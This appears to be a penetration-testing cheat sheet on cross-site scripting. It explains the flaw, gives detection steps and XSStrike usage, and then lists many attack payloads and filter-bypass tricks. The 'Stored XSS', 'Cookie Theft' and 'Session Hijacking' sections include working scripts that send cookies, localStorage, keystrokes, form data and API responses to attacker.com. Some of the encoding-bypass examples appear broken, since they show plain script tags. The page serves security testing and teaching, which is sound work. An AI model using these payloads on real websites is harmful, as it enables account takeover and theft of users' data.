Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser within the security context of the vulnerable website.

How It Works​

XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. For example, when a website reflects user input:

<div>Hello, <?php echo $_GET['name']; ?></div>  

An attacker might input: <script>alert(1)</script>, resulting in:

<div>Hello, <script>alert(1)</script></div>  

This script executes in the victim's browser with the same privileges as the legitimate website scripts.

Detection​

Manual Testing​

URL Parameter Tests​

Test user input being reflected in the page through URL parameters:

# Step 1: Identify reflection points in URL parameters  
site.com/page?search=TEST     # Search parameters  
site.com/page?name=TEST       # User input fields  
site.com/page?id=TEST         # ID parameters  
  
# Step 2: Test basic XSS payload in each parameter  
site.com/page?search=<script>alert(1)</script>  
site.com/page?name="><script>alert(1)</script>  
site.com/page?id=</script><script>alert(1)</script>  
  
# Step 3: Check if payload executes or gets reflected  
# - If script executes: Direct XSS possible  
# - If script is visible: HTML encoding might be in place  
# - If script disappears: Filtering is active  

Form Input Tests​

Test all input fields in forms for XSS:

# Step 1: Identify form fields  
<input type="text">           # Text inputs  
<input type="search">         # Search boxes  
<textarea>                    # Text areas  
  
# Step 2: Test each field with detection payloads  
"><img src=x onerror=alert(1)>    # Tests quote escape  
'><img src=x onerror=alert(1)>    # Tests single quote escape  
javascript:alert(1)                # Tests href attributes  
  
# Step 3: Observe the response  
# - Check page source for payload reflection  
# - Check if input is encoded  
# - Check browser console for errors  

HTTP Header Tests​

Test headers that might be reflected in the response:

# Step 1: Test common reflected headers  
User-Agent: <script>alert(1)</script>  
Referer: <script>alert(1)</script>  
Cookie: <script>alert(1)</script>  
  
# Step 2: Test custom headers  
X-Forwarded-For: <script>alert(1)</script>  
X-Forwarded-Host: <script>alert(1)</script>  
  
# Step 3: Check response headers and body  
# - Look for header values in page source  
# - Check for reflections in error messages  

HTML Context Tests​

Test payloads based on where input is reflected:

# Step 1: Inside HTML tags  
Original: <div>USER_INPUT</div>  
Test with: <script>alert(1)</script>  
Test with: <img src=x onerror=alert(1)>  
  
# Step 2: Inside HTML attributes  
Original: <input value="USER_INPUT">  
Test with: "><script>alert(1)</script>  
Test with: " autofocus onfocus="alert(1)  
  
# Step 3: Inside script tags  
Original: <script>var name = 'USER_INPUT';</script>  
Test with: ';alert(1);//  
Test with: \';alert(1);//  

JavaScript Context Tests​

Test when input is reflected within JavaScript code:

# Step 1: Inside JavaScript strings  
Original: var user = "USER_INPUT";  
Test with: ";alert(1);//  
Test with: \";alert(1);//  
  
# Step 2: Inside JavaScript code  
Original: var id = USER_INPUT;  
Test with: alert(1)//  
Test with: (alert(1))//  
  
# Step 3: Inside JavaScript functions  
Original: callback('USER_INPUT')  
Test with: ');alert(1);//  
Test with: '});alert(1);//  

DOM Source Tests​

Test common DOM-based XSS sources:

# Step 1: Test URL fragments  
site.com/page#<img src=x onerror=alert(1)>  
site.com/page#javascript:alert(1)  
  
# Step 2: Test localStorage/sessionStorage  
> localStorage.setItem('test', '<img src=x onerror=alert(1)>');  
> sessionStorage.setItem('test', '<img src=x onerror=alert(1)>');  
  
# Step 3: Test document.write sources  
site.com/page?name=<div onmouseover='alert(1)'>  
site.com/page?name=</script><script>alert(1)</script>  

Using XSStrike​

# Step 1: Basic scan  
xsstrike -u "http://target.com/page?param=value"  
  
# Step 2: Advanced scanning options  
xsstrike -u "http://target.com/page?param=value" \  
  --crawl          # Crawl the target  
  --params         # Scan parameters  
  --blind          # Test for blind XSS  
  --headers        # Test headers  
  --vectors        # Use custom vectors  
  --skip-dom      # Skip DOM XSS scanning  
    
# Step 3: Results analysis  
1. Check reported vulnerabilities  
2. Verify findings manually  
3. Test suggested payloads  

Context Tests​

Tests XSS in different DOM contexts:

# JavaScript Variable Context  
var user = "USER_INPUT";          # String variable  
var obj = {"key": "USER_INPUT"};  # Object property  
var arr = ["USER_INPUT"];         # Array element  
  
# URL Parameter Context  
?param=<script>alert(1)</script>  # Basic URL injection  
?param=javascript:alert(1)        # JavaScript protocol  
?param=data:text/html,<script>alert(1)</script>  # Data protocol  
  
# JSON Context  
{"key":"<script>alert(1)</script>"}  # JSON string  
{"key":"</script><script>alert(1)</script>"}  # Script tag break  

Attack Vectors​

Reflected XSS​

XSS payload is reflected back in the server's immediate response:

# Basic Script Injection  
<script>alert(document.cookie)</script>  
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>  
  
# Event Handler Injection  
<img src=x onerror="alert(document.cookie)">  
<body onload="fetch('https://attacker.com?cookie='+document.cookie)">  
  
# JavaScript Protocol  
javascript:alert(document.cookie)  
javascript:fetch('https://attacker.com?cookie='+document.cookie)  

Stored XSS​

Payload is stored on the target server and executed when users visit a page:

# Data Exfiltration  
<script>  
  fetch('https://attacker.com', {  
    method: 'POST',  
    body: JSON.stringify({  
      cookies: document.cookie,  
      url: window.location.href,  
      localStorage: localStorage  
    })  
  });  
</script>  
  
# Keylogger Injection  
<script>  
  document.onkeypress = function(e) {  
    fetch('https://attacker.com/log?key=' + e.key);  
  }  
</script>  
  
# Form Hijacking  
<script>  
  document.forms[0].action = 'https://attacker.com/logger';  
</script>  

DOM Based XSS​

Payload is executed through client-side JavaScript manipulation:

# URL Fragment Exploitation  
#<img src=x onerror=alert(1)>    # Targeting location.hash  
?search=<img src=x onerror=alert(1)>  # Targeting location.search  
  
# DOM Manipulation  
document.write('... USER_INPUT ...')  # document.write injection  
element.innerHTML = '... USER_INPUT ...'  # innerHTML injection  
$("#element").html('... USER_INPUT ...')  # jQuery html() injection  

Advanced XSS Payloads​

Cookie Theft​

# Basic Cookie Stealer  
<script>  
fetch('https://attacker.com/steal?cookie='+document.cookie);  
</script>  
  
# Advanced Cookie Stealer  
<script>  
var xhr = new XMLHttpRequest();  
xhr.open('POST', 'https://attacker.com/logger', true);  
xhr.send(JSON.stringify({  
    'url': window.location.href,  
    'cookies': document.cookie,  
    'localStorage': localStorage,  
    'sessionStorage': sessionStorage  
}));  
</script>  

Session Hijacking​

# Session Hijacker  
<script>  
fetch('/api/user/profile')  
  .then(r=>r.json())  
  .then(data=>fetch('https://attacker.com/logger?data='+btoa(JSON.stringify(data))));  
</script>  
  
# WebSocket Hijacker  
<script>  
var ws = new WebSocket('wss://target.com/ws');  
ws.onmessage = function(e) {  
  fetch('https://attacker.com/ws-log?data='+btoa(e.data));  
};  
</script>  

Bypass Techniques​

Basic Tag Bypass​

Used when basic XSS protections are in place:

# Case Variation  
<ScRiPt>alert(1)</ScRiPt>  
<IMG SRC=x onerror=alert(1)>  
  
# Tag Obfuscation  
<scr<script>ipt>alert(1)</scr</script>ipt>  
<img src=x onerror=alert&#x28;1&#x29>  

Filter Evasion​

Used when specific keywords or patterns are blocked:

# Script Tag Alternatives  
<object data="data:text/html,<script>alert(1)</script>">  
<embed src="data:text/html,<script>alert(1)</script>">  
<iframe src="javascript:alert(1)">  
  
# Event Handler Alternatives  
onmouseover=alert(1)  
OnMoUsEoVeR=alert(1)  
/onclick=alert(1)//  

Encoding Bypass​

Different encoding methods to bypass filters:

# HTML Encoding  
<script>alert(1)</script>  
  
# URL Encoding  
%3Cscript%3Ealert(1)%3C%2Fscript%3E  
  
# Unicode Encoding  
\u003Cscript\u003Ealert(1)\u003C/script\u003E  
  
# Hex Encoding  
<script>alert(1)</script>  

Content Length Bypass​

Bypassing length restrictions:

# Short Payload  
<svg/onload=alert(1)>  
<img src=x onerror=alert(1)>  
<q/oncut=alert(1)>  

Character Filter Bypass​

Avoiding filtered characters:

# Quotes Bypass  
<img src=x onerror=alert`1`>  
<script>alert(String.fromCharCode(88,83,83))</script>  
  
# Parentheses Bypass  
onerror=alert`1`  
onclick=alert.call`1`  
onmouseover=alert.bind`1`  

Context Escape Bypass​

Breaking out of different contexts:

# JavaScript Context  
'-alert(1)-'  
';alert(1)//  
\';alert(1)//  
  
# Attribute Context  
" onmouseover="alert(1)  
" autofocus onfocus="alert(1)  

Modern Browser Bypass​

Targeting modern browser features and APIs:

# Import Maps Abuse  
<script type="importmap">{"imports": {"x": "data:text/javascript,alert(1)"}}</script>  
<script type="module">import 'x'</script>  
  
# Shadow DOM Injection  
<div id=x></div>  
<script>  
x.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'  
</script>  
  
# Trusted Types Bypass  
<script>  
trustedTypes.createPolicy('p',{createHTML:_=>\'<img src=x onerror=alert(1)>\'}).createHTML('')  
</script>  
  
# Service Worker Injection  
<script>  
navigator.serviceWorker.register('data:text/javascript,alert(1)')  
</script>  

Advanced DOM Manipulation​

Complex DOM manipulation techniques:

# MutationObserver Abuse  
<script>  
new MutationObserver(function(m){  
    alert(1);  
    o.disconnect();  
}).observe(document.body,{subtree:true,childList:true})  
</script>  
  
# Template Element Injection  
<template><img src=x onerror=alert(1)></template>  
<script>document.body.appendChild(document.querySelector('template').content.cloneNode(true))</script>  
  
# Custom Elements Abuse  
<script>  
customElements.define('xss-test', class extends HTMLElement {  
  connectedCallback() { alert(1) }  
});  
</script>  
<xss-test></xss-test>  

Event Handler Innovation​

Novel event handler techniques:

# ConstructionEvent Abuse  
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:x;}</style>  
<xss id=x style="position:fixed;" onanimationcancel="alert(1)"></xss>  
  
# Intersection Observer  
<script>  
new IntersectionObserver(([e]) => {  
  if (e.isIntersecting) alert(1)  
}).observe(document.body)  
</script>  
  
# ResizeObserver Exploit  
<script>  
new ResizeObserver(() => alert(1)).observe(document.body)  
</script>  

Protocol Handler Exploitation​

Abusing various protocol handlers:

# Data URL Abuse  
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>  
  
# Javascript Protocol Variants  
<a href="javascript&colon;alert(1)">Click</a>  
<a href="javascript&#58;alert(1)">Click</a>  
<a href="javascript&#0058;alert(1)">Click</a>  
  
# Blob URL Exploitation  
<script>  
URL.createObjectURL(new Blob(['<script>alert(1)</script>'],{type:'text/html'}))  
</script>  

Modern Framework Bypass Targeting popular JavaScript frameworks:

# Vue Template Injection  
{{constructor.constructor('alert(1)')()}}  
{{_c.constructor('alert(1)')()}}  
  
# Angular Template Injection  
{{$eval.constructor('alert(1)')()}}  
{{$on.constructor('alert(1)')()}}  
  
# React Props Injection  
<div data-react-props="{'dangerouslySetInnerHTML':{'__html':'<img src=x onerror=alert(1)>'}}">  

Advanced Encoding Techniques​

Complex encoding combinations:

# Multi-layer Encoding  
# Base64 + URL + HTML  
<script>alert(1)</script>  
  
# Unicode Escape Sequence  
\u0027\u003e\u003c\u0073\u0076\u0067\u0020\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e  
  
# CSS Escape  
<style>@import '\\0061lert(1)';</style>  

Regular Expression Bypass​

Techniques to bypass regex-based filters:

# Newline Injection  
<script>alert`  
1`</script>  
  
# Comment Injection  
<!--><script>alert/**/('1')</script>  
  
# Non-standard Attributes  
<x onclick="&#0097;lert(1)">click</x>  

Context-Aware Bypass

# CSS Context  
<style>@import 'data:text/css;base64,KiB7eD11cmwoamF2YXNjcmlwdDphbGVydCgxKSl9';</style>  
  
# SVG Context  
<svg><set attributeName="onmouseover" to="alert(1)"/>  
<svg><animate attributeName="onmouseover" to="alert(1)"/>  
  
# Math Context  
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><path id="</style><img onerror='alert(1)'"></mglyph></mtext></math>  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
XSStrike| Advanced XSS detection| Automated scanning
KNOXSS| Online XSS discovery| Quick testing
XSSHunter| Blind XSS detection| Delayed XSS finding
BeEF| Browser exploitation| Post-XSS exploitation
DOMPurify| XSS sanitization| Prevention testing